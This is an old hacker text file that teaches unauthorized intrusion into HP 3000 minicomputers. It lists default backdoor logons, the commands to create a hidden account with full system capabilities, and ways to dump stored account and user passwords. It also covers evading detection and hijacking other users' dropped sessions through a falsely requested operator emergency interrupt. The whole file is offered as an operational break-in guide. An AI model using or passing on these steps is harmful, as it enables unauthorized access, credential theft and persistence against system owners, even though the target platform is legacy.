HP3000.TXT

Hacking on the Run

Vol. I

By:

-x-x-x- Eastwind -x-x-x-

-}---> Re-F0rmatted into 80 columns by Professor Falken <---{-

Okay in this volume I'm going to ramble on about hacking the HP 3000 have some real power, and the fact that they were put online means they have something worth looking at...

Identifying an HP 3000 is easy as they have one of the most unique logo

n

screens that I've seen... The only prompt you see is a colon. Typing garbage at the prompt will get you a message something along the lines of :

```
EXPECTED HELLO USER.ACCOUNT [JOB,GROUP] or CMD
```

This verifies beyond a shadow of a doubt that you've found an HP...
The logon sequence on a 3000 look something like this -->

```
Hello Username.Accountname
```

Sometimes there is a group name attached like this -->

```
Hello Username.Accountname,Group
```

There is a separate password for each part of the system, (ie. one

for the

management one for the supervisor, one for the mail base...), and to access the files in each one you have to have the account name, the user name, and sometimes the group name, plus if there is a password assigned to that account you have to have it too, one for each of the three names...[User, account, and group].

In a second I'll tell you the backdoors and a little more about getting on but first a few commands to make life easier once you get on...

LISTF <-- this lists all the files in tha

t account
HELP <-- invokes the help facility, would be a good idea to look through this pretty thoroughly
EXAMPLE <-- this will give you an example of how to implement any command that you specify after the EXAMPLE command ie. EXAMPLE MOUNT
BYE <-- this is VERY important ! If you don't logoff an account on an HP it will keep that account open even when someone else calls back. It would be very easy to get caught that way by having people logon and notice that their account was open when they hadn't even

used the modem for days...
HELLO <-- part of the logon sequence, it can be issued while online to enter another account. CAUTION - when you enter this command you will be logged off the account currently logged in under and you will no longer be able to issue commands until you relogon. This command is great to go from account to account w/o having to hang up.
<NOTE> Too much account hopping in one session is VERY dangerous as there are often resource traces on the system that log the actions of users.

LIST <-- if the account is a text-file it can be read using this command, I'm not exactly sure how to tell what type of file is what as they usually have no extensions. You can't hurt the computer by LISTing a non text file but it may take quite a while to clear completely ---> NOTE <--- I have found that some of the older versions of the HP op-system do not have the built in command to list a phile, and that they must run a program called LIST... So if when you type LIST nothing happens or you get an err

or then try to RUN LIST, It should
ask you for the file name to list and then you can tell it what to call it...

Well that's the basics for now. There'll be more further on...[This isn't going to be a schluck phile, this is quality stuff]... Okay now we need to get on the system... Here's what you do:

At the colon prompt type -

```
HELLO FIELD.SUPPORT,PUB
```

This is the backdoor to most HP 3000. Unfortunately it is locked off or removed by some worldly wise System managers...(More on this in a sec.)

If

it is then try this one -->

```
HELLO MANAGER.SYS,PUB
```

This is the manager's account and it will usually be protected by a User password and an Account password. These will be invaluable later since most managers hate to memorize more than a few passwords and they need to have access to more than a few accounts. I can't really help you on hacking the passwords. That's usually where guesswork and intuition come in,... Sorry...

Now for the standard back-door -->

```
HELLO FIELD.SUPPORT,PUB
```

This account if pre

sent should have system manager capabilities and you can make a new account of your very own.

This is the procedure for making a new account -->

```
NEWACCT GREEN.GRILL;PASS=WILDERUN
NEWUSER GRILL.GREEN;PASS=SWARD
ALTACCT GREEN;PASS=WILDERUN;CAP=AM,SM,GL,AL,PM,SF,PH,OP
```

(The ALTACCT...OP all in one line) after each line hit a <CR> and then type the next... A note about the abbreviations in the last line, these are your capabilities on the system, to see all the possible combinations of letters mess up and ty

pe something that has more than 2 letters and you will see something that says -->

```
EXPECTED ONE OF THESE-->

 [AM,DF,ER,DE,WQ,AS,DS,XZ,ZX,CV,VC,VC,VC,FG,RF,TY,UH,JU,KM,NM]
```

Those are just examples, and each system may have its own variations of twice and then try to make a really powerful account by including all of these in your ALTACCT statement...

NOTE --> If you decide to hack an HP 3000, try this account first and if you me who you are (handle of course) and when you get on, go and make your own

account...

An HP 3000 has a few problems or at least it seems like it from a hackers view. You see once you get on with your very own account, you still can't see any files no matter how powerful you are. What you must do is to logon under the different accounts on the system to see what each person has to look at...

There are ways to get around this I am learning, but it's too much for a first time type of thing, so call back later...

To get a listing of all the accounts on the system use this comm

and -->

```
LISTACCT
```

This will be a Mega-Long list and might keep your computer tied up for a few hours depending on how many accounts there are...

What you'll see looks something like this -->

```
A =  BUDGET

041125 042107 042524 020040 155403
000613 000000 000000 BUDGET..........
046507 051040 020040 020040 041125
042107 042524 020040 MGR.....BUDGET..
000000 000226 000000
```

The A signifies that you are looking at an account, and the line of dots contains a password, if there is more than one word in the

dots then try each
of them until one works. This is the account password... Lord only knows what the numbers mean...

To get the user name and password then type this -->

```
LISTUSER .BUDGET
```

This should give you a list of all users on that account. The format of this listing will be much the same as the one for the account listings except the A will be replaced with a U... The password is in the same place as before.

In case the account requires a GROUP name and GROUP PASSWORD then you get that like thi

s -->

LISTGROUP USERNAME.ACCOUNTNAME,

Replace USERNAME and ACCOUNTNAME with the appropiate names for the account you are interested in...

You can now do this with any accounts you like and look into any accounts that might interest you...

You now have about total control over the HP 3000. Look around, and play with things, BUT don't screw up and ruin anything...

There are five languages on the HP 3000 standard and they can be fun to play with, but it's dangerous to use them unless you know how to pr

ogram in
them because their computer will be expecting a valid command and you might not know what it is and have to leech logoff and that can mess up the system...

A couple o' notes to think on -->

Sometimes the processor stops for up to 45 seconds at a time, this is to service all the other users on the system, you can allocate more time for your account but that's for a later phile... So don't get paranoid and hang up just cuz the system is doing more than one thing at once... It will usually servic

e the other users even if they aren't logged in, but getting around that is for another phile also.

The word processor on some older HP's is the TDP program. To run it type -->

RUN TDP.PUB,SYS

If that file can't be found then type-->

RUN HPWORD and see if that gets any results...

---> SPECIAL TACTICS TO USE IN THE EVENT OF MASSIVE FRUSTRATION <---

An HP3000 is easily interrupted by an emergency interrupt done by your friendly Bell operator. (Note that it is illegal to make an emergency interrupt

except in the case of an emergency.) [That was a disclaimer of sorts. So now I'm off the hook for anything you do under my guidance...]
So anyways when the HP3000 drops a person from the modem w/o a valid

logoff sequence it may hold the account valid for hours. In fact I have accidently cut my power in mid LISTACCT and come back about 2.5 hours later and found it still ready to list...(Seriously...) So when you cut someone off get ready to call and logon under their name as quickly as possible...

Like I

said before if you can get on a system then make the GRILL.GREEN account and leave a BASIC program full of REMs that tell when you set up the account and who you are. If you logon to an HP3000 that has this account then leave your own REM listing.
To do this type -->

```
BASIC
```

Then enter the program and SAVE it ... Then type EXIT and LISTF all the files to make sure yours is there...

Have phun and remember...

The best never get caught and the best know who they are...

- Eastwind

Share & Enjoy...

Downloaded From P-80 International Information Systems 304-744-2253